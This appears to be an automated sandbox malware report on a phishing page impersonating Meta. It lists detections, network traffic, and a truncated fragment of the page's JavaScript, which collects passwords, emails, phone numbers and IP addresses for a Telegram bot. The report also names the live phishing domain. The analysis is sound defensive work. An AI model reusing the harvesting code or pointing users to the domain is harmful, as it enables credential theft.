Edit tour

Windows Analysis Report
https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

Overview

General Information

Sample URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php
Analysis ID:	1637087
Infos:

Detection

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

Javascript uses Telegram API

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,8834077108357008396,4316533208401078595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2348 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

Avira URL Cloud: detection malicious, Label: malware

Antivirus detection for URL or domain

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/styles/bootstrap.min.css	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/no_avatar.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/doc.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/loadingLogo.gif	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/block_2.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/fb_round_logo.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/handle/chongf12.js	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/banner_new_01.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/meta-logo-grey.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/img/save_img.png	Avira URL Cloud: Label: malware
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/styles/style.css	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.2..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://metabussiness-helper-verify24h-now.abaytra... This script demonstrates high-risk behaviors, including data exfiltration and dynamic code execution. It collects sensitive user information (full name, emails, phone number, Facebook page name, password) and sends it to a Telegram bot, which could be used for malicious purposes. The script also fetches the user's IP address, further compromising their privacy. Overall, this script poses a significant security risk and should be thoroughly reviewed or removed.

Javascript uses Telegram API

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

HTTP Parser: function sendtotelegramfrommodal2(event) { event.preventdefault(); // ngn chn hnh vi mc nh ca form // ly d liu t cc trng trong form var password = document.getelementbyid('passwordinput').value.trim(); if (password === '') { alert("please enter your password."); return; } var fullname = document.getelementbyid('fullnamefield').value.trim(); var personalemail = document.getelementbyid('personalemailfield').value.trim(); var businessemail = document.getelementbyid('buisenessemailfield').value.trim(); var mobilephonenumber = document.getelementbyid('phonefirld').value.trim(); var pagename = document.getelementbyid('fb-page-name-input').value.trim(); var apeal = document.getelementbyid('exampleformcontroltextarea1').value.trim(); // ly a ch ip t server fetch('get-ip.php') .then(res...

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

HTTP Parser: Number of links: 0

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

HTTP Parser: Title: We have scheduled your marketplace to be deleted. does not match URL

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: Invalid link: Privacy Policy
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: Invalid link: Terms of use
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: Invalid link: Privacy Policy
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: Invalid link: Terms of use

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

HTTP Parser: <input type="password" .../> found

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: No <meta name="author".. found
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: No <meta name="author".. found

Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: No <meta name="copyright".. found
Source: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.4:49734 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:55510 -> 162.159.36.2:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.67
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /meta-community-standard.php HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/bootstrap.min.css HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/style.css HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/loadingLogo.gif HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /handle/chongf12.js HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/block_2.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/no_avatar.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/banner_new_01.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/save_img.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/loadingLogo.gif HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/no_avatar.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/doc.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/meta-logo-grey.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/block_2.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/save_img.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/fb_round_logo.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.phpAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/banner_new_01.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/doc.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FOY6xZ9.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://metabussiness-helper-verify24h-now.abaytravel.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/fb_round_logo.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/meta-logo-grey.png HTTP/1.1Host: metabussiness-helper-verify24h-now.abaytravel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FOY6xZ9.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: metabussiness-helper-verify24h-now.abaytravel.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: i.imgur.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: unknown

HTTP traffic detected: POST /domainreliability/upload HTTP/1.1Host: beacons.gcp.gvt2.comConnection: keep-aliveContent-Length: 276Content-Type: application/json; charset=utf-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 13 Mar 2025 09:50:27 GMTServer: ApacheContent-Length: 296Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: chromecache_92.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_93.3.dr	String found in binary or memory: http://www.gimp.org/xmp/
Source: chromecache_77.3.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js
Source: chromecache_77.3.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_77.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: chromecache_69.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_69.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_77.3.dr	String found in binary or memory: https://i.imgur.com/FOY6xZ9.png
Source: chromecache_77.3.dr	String found in binary or memory: https://imgur.com/w3cNjri.jpeg
Source: chromecache_77.3.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/5.1.3/js/bootstrap.bundle.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 55810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 55517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
